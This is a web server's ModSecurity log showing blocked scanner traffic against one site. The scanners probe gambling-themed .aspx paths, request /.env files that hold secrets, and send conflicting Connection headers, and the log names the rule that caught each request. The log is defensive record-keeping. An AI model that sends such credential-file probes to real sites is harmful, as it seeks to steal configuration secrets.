[Tue Mar 31 13:06:24.610577 2026] [:error] [pid 36982:tid 36986] [client 51.68.234.139:33488] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "actWUPlMmeoQKN0r_GNpwAAAAME"]
[Tue Mar 31 13:06:26.541626 2026] [:error] [pid 36982:tid 37003] [client 51.68.234.139:33494] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "actWUvlMmeoQKN0r_GNpywAAANI"]
[Tue Mar 31 13:07:02.677621 2026] [:error] [pid 6548:tid 6559] [client 51.68.234.139:33498] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "actWdrgIz9HgMl9YwE4xaQAAAUk"]
[Tue Mar 31 13:07:04.666288 2026] [:error] [pid 36890:tid 36902] [client 51.68.234.139:53900] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "actWeJ8FASPd_uH8z7eqjQAAAAc"]
[Tue Mar 31 13:07:06.545713 2026] [:error] [pid 41421:tid 41435] [client 51.68.234.139:53912] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "actWehSaDjY9kKFtUQDpBQAAAQs"]
[Tue Mar 31 13:07:08.576299 2026] [:error] [pid 36890:tid 36900] [client 51.68.234.139:53924] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "actWfJ8FASPd_uH8z7eqkgAAAAU"]
[Tue Mar 31 13:07:10.613091 2026] [:error] [pid 41421:tid 41424] [client 51.68.234.139:53940] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "actWfhSaDjY9kKFtUQDpDAAAAQA"]
[Tue Mar 31 13:07:12.475662 2026] [:error] [pid 36982:tid 36990] [client 51.68.234.139:53944] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "actWgPlMmeoQKN0r_GNqTAAAAMU"]
[Tue Mar 31 13:07:14.490291 2026] [:error] [pid 41421:tid 41429] [client 51.68.234.139:59528] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "actWghSaDjY9kKFtUQDpFQAAAQU"]
[Tue Mar 31 13:07:16.502715 2026] [:error] [pid 36982:tid 37004] [client 51.68.234.139:59538] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "actWhPlMmeoQKN0r_GNqWAAAANM"]
[Tue Mar 31 13:07:18.516149 2026] [:error] [pid 36892:tid 36963] [client 51.68.234.139:59552] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "actWhkyj9S4G0ek3O4IZOQAAAIw"]
[Tue Mar 31 13:07:20.511300 2026] [:error] [pid 41421:tid 41431] [client 51.68.234.139:59554] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "actWiBSaDjY9kKFtUQDpJgAAAQc"]
[Tue Mar 31 13:07:22.510404 2026] [:error] [pid 36982:tid 37005] [client 51.68.234.139:59556] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "actWivlMmeoQKN0r_GNqegAAANQ"]
[Tue Mar 31 13:07:24.514803 2026] [:error] [pid 41421:tid 41438] [client 51.68.234.139:36064] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "actWjBSaDjY9kKFtUQDpMwAAAQ4"]
[Tue Mar 31 13:07:26.509575 2026] [:error] [pid 36982:tid 37009] [client 51.68.234.139:36070] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "actWjvlMmeoQKN0r_GNqkQAAANg"]
[Tue Mar 31 13:07:28.514747 2026] [:error] [pid 36982:tid 37006] [client 51.68.234.139:36084] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "actWkPlMmeoQKN0r_GNqlwAAANU"]
[Tue Mar 31 13:07:30.505977 2026] [:error] [pid 36892:tid 36969] [client 51.68.234.139:36086] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "actWkkyj9S4G0ek3O4IZTwAAAJI"]
[Tue Mar 31 13:07:32.493230 2026] [:error] [pid 6548:tid 6560] [client 51.68.234.139:36102] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "actWlLgIz9HgMl9YwE4xqwAAAUo"]
[Tue Mar 31 13:07:34.496908 2026] [:error] [pid 41421:tid 41442] [client 51.68.234.139:60814] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "actWlhSaDjY9kKFtUQDpQAAAARI"]
[Tue Mar 31 13:07:36.499758 2026] [:error] [pid 41421:tid 41427] [client 51.68.234.139:60830] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "actWmBSaDjY9kKFtUQDpQwAAAQM"]
[Tue Mar 31 13:07:38.332997 2026] [:error] [pid 41421:tid 41448] [client 51.68.234.139:60834] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "actWmhSaDjY9kKFtUQDpSgAAARg"]
[Tue Mar 31 13:07:40.326519 2026] [:error] [pid 41421:tid 41437] [client 51.68.234.139:60838] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "actWnBSaDjY9kKFtUQDpTgAAAQ0"]
[Tue Mar 31 13:07:42.313370 2026] [:error] [pid 36982:tid 37001] [client 51.68.234.139:60842] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "actWnvlMmeoQKN0r_GNqwgAAANA"]
[Tue Mar 31 13:07:44.319179 2026] [:error] [pid 6548:tid 6551] [client 51.68.234.139:51538] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "actWoLgIz9HgMl9YwE4x8QAAAUE"]
[Tue Mar 31 13:07:46.314961 2026] [:error] [pid 36890:tid 36915] [client 51.68.234.139:51540] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "actWop8FASPd_uH8z7eq0wAAABQ"]
[Tue Mar 31 13:07:48.302319 2026] [:error] [pid 41421:tid 41427] [client 51.68.234.139:51550] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "actWpBSaDjY9kKFtUQDpdQAAAQM"]
[Tue Mar 31 13:07:50.152025 2026] [:error] [pid 41421:tid 41440] [client 51.68.234.139:51566] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "actWphSaDjY9kKFtUQDpgAAAARA"]
[Tue Mar 31 13:07:52.157577 2026] [:error] [pid 6548:tid 6570] [client 51.68.234.139:51572] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "actWqLgIz9HgMl9YwE4yBwAAAVQ"]
[Tue Mar 31 13:07:54.150398 2026] [:error] [pid 36890:tid 36898] [client 51.68.234.139:51588] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "actWqp8FASPd_uH8z7eq9gAAAAM"]
[Tue Mar 31 13:07:56.141425 2026] [:error] [pid 36890:tid 36914] [client 51.68.234.139:43698] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "actWrJ8FASPd_uH8z7erAAAAABM"]
[Tue Mar 31 13:07:58.122439 2026] [:error] [pid 36890:tid 36905] [client 51.68.234.139:43714] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "actWrp8FASPd_uH8z7erBgAAAAo"]
[Tue Mar 31 13:39:51.233309 2026] [:error] [pid 6548:tid 6551] [client 185.93.89.122:46024] [client 185.93.89.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "acteJ7gIz9HgMl9YwE5IHwAAAUE"]
[Tue Mar 31 13:39:51.235296 2026] [:error] [pid 6548:tid 6565] [client 185.93.89.122:46022] [client 185.93.89.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/env/.env"] [unique_id "acteJ7gIz9HgMl9YwE5IIAAAAU8"]
[Tue Mar 31 13:39:52.571932 2026] [:error] [pid 36892:tid 36960] [client 185.93.89.122:50992] [client 185.93.89.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "acteKEyj9S4G0ek3O4IjDQAAAIk"]
[Tue Mar 31 13:39:52.578031 2026] [:error] [pid 36890:tid 36899] [client 185.93.89.122:51008] [client 185.93.89.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/env/.env"] [unique_id "acteKJ8FASPd_uH8z7e2CgAAAAQ"]
[Tue Mar 31 16:50:19.170767 2026] [:error] [pid 36891:tid 36941] [client 43.153.7.191:55662] [client 43.153.7.191] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acuKy5JhiMaJUqoqfl6jAwAAAFE"]
[Tue Mar 31 17:47:15.040386 2026] [:error] [pid 41421:tid 41424] [client 43.131.243.61:38520] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acuYIxSaDjY9kKFtUQBhLAAAAQA"]
[Tue Mar 31 19:10:26.978396 2026] [:error] [pid 36892:tid 36970] [client 182.42.105.85:57299] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acurokyj9S4G0ek3O4KB1wAAAJM"]
[Tue Mar 31 21:29:04.102512 2026] [:error] [pid 36892:tid 36971] [client 49.51.253.83:57742] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acvMIEyj9S4G0ek3O4KhuQAAAJQ"]
[Tue Mar 31 22:28:45.209250 2026] [:error] [pid 3331:tid 3359] [client 43.155.195.141:34286] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acvaHauu4pxT8HdFeo-p_wAAA00"]
[Wed Apr 01 01:05:21.440572 2026] [:error] [pid 52836:tid 52909] [client 147.135.252.138:37816] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acv-0Zjk_YTY8bXnEz4kuAAAAFE"]
[Wed Apr 01 01:05:23.421668 2026] [:error] [pid 52592:tid 52660] [client 147.135.252.138:35668] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acv-0z-61iqkPKUhqlbHEgAAAA0"]
[Wed Apr 01 01:05:25.483553 2026] [:error] [pid 52592:tid 52669] [client 147.135.252.138:35670] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acv-1T-61iqkPKUhqlbHIQAAABY"]
[Wed Apr 01 01:05:27.525562 2026] [:error] [pid 52592:tid 52653] [client 147.135.252.138:35680] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acv-1z-61iqkPKUhqlbHLAAAAAY"]
[Wed Apr 01 01:05:29.422561 2026] [:error] [pid 52592:tid 52666] [client 147.135.252.138:35686] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acv-2T-61iqkPKUhqlbHNAAAABM"]
[Wed Apr 01 01:05:31.300449 2026] [:error] [pid 52593:tid 52681] [client 147.135.252.138:42094] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acv-2-KOtxqtcDhRtD9-ywAAAIc"]
[Wed Apr 01 01:05:33.341755 2026] [:error] [pid 52836:tid 52892] [client 147.135.252.138:42098] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acv-3Zjk_YTY8bXnEz4k0AAAAEA"]
[Wed Apr 01 01:05:35.232370 2026] [:error] [pid 52592:tid 52669] [client 147.135.252.138:42114] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acv-3z-61iqkPKUhqlbHSAAAABY"]
[Wed Apr 01 01:05:37.103178 2026] [:error] [pid 52593:tid 52692] [client 147.135.252.138:42122] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acv-4eKOtxqtcDhRtD9-zQAAAJI"]
[Wed Apr 01 01:05:39.136082 2026] [:error] [pid 52593:tid 52694] [client 147.135.252.138:42134] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acv-4-KOtxqtcDhRtD9-0gAAAJQ"]
[Wed Apr 01 01:05:41.026173 2026] [:error] [pid 52592:tid 52657] [client 147.135.252.138:48606] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acv-5T-61iqkPKUhqlbHVgAAAAo"]
[Wed Apr 01 01:05:42.923782 2026] [:error] [pid 52592:tid 52659] [client 147.135.252.138:48622] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acv-5j-61iqkPKUhqlbHXAAAAAw"]
[Wed Apr 01 01:05:44.949510 2026] [:error] [pid 52592:tid 52670] [client 147.135.252.138:48630] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acv-6D-61iqkPKUhqlbHZwAAABc"]
[Wed Apr 01 01:05:46.827040 2026] [:error] [pid 52592:tid 52660] [client 147.135.252.138:48632] [client 147.135.252.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acv-6j-61iqkPKUhqlbHbAAAAA0"]
